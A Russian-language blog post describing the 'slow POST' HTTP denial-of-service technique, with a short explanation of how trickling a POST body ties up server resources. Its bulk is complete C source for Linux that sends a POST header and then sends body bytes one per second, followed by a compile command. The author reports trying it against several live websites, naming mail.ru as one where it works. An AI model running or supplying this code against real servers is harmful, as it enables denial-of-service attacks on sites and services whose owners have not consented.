8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня:
Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем.
Что интересно, «медленная» POST-технология может быть вполне адаптирована для работы с SMTP и даже DNS-серверами. Атака работает так: вредоносный код отправляет POST-заголовки с легитимно заполненными полями, касающимися размеров готовящихся к передаче данных, однако последние затем передаются на очень низких скоростях, что приводит к формированию «заторов» на серверах и связыванию их системных ресурсов. Достаточно нескольких десятков тысяч ботов, чтобы отключить сервер. Балансирующее нагрузку ПО, ныне используемое для предотвращения DDOS-атак, не эффективно против новой методики.
В общем суть сводится к тому что мы посылаем совершенно обыкновенный POST, где data идет очень долго, иначе говоря data’у посылаем посимвольно с задержками.
Проверял на нескольких сайтах, где-то обрывают соединение не понятно почему, где-то нет. Вероятно, не работает там, где используется nginx как front-end. Что удивительно, как будто этот код написан под mail.ru, там идет как литое.
Реализация на C под Linux:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | #include <stdio.h> #include <sys/socket.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #define BUF_LEN 4096 #define HTTP_PORT 80 #define SLEEP_PERIOD 1 #define POST_COUNT "100" #define PATH "/path/to/post" int main (int argc, char ** argv) { int sock, count; char * buf; struct hostent * host; struct sockaddr_in addr; if (argc < 2) { fprintf (stderr, "Too few arguments\n"); return 1;} buf = (char *) malloc (BUF_LEN); if (buf == NULL) { fprintf (stderr, "malloc() error\n"); return 1;} sock = socket (PF_INET, SOCK_STREAM, 0); if (sock == -1) { fprintf (stderr, "socket() error\n"); return 1;} addr.sin_family = AF_INET; host = gethostbyname (argv[1]); if (host == NULL) { fprintf (stderr, "Unknown server\n"); return 1;} addr.sin_addr = * (struct in_addr*)host->h_addr_list[0]; addr.sin_port = htons (HTTP_PORT); if (connect(sock,(struct sockaddr*) &addr, sizeof (addr))==-1) {fprintf (stderr, "connect() error\n"); return 1;} strcpy (buf, "POST "); strcat (buf,PATH); strcat (buf," HTTP/1.1\r\n"); strcat (buf,"Content-Type: application/x-www-form-urlencoded\r\n"); strcat (buf,"Content-Length: "); strcat (buf,POST_COUNT); strcat (buf,"\r\n\r\n"); fprintf(stderr,buf); write (sock, buf, strlen (buf)); for(int i=0;i<atoi(POST_COUNT)-1;i++){ fprintf(stderr,"-%d", i); write(sock,"a",1); sleep(SLEEP_PERIOD);} strcpy(buf,"\r\n"); write (sock, buf, strlen (buf)); while ((count = read (sock, buf, BUF_LEN)) > 0) write (1, buf, count); close (sock); free (buf); return 0; |
Компилируем так:
1 | $ gcc -o newdos newdos.c -std=gnu9 |
Полную новость смотрите на rdot’е.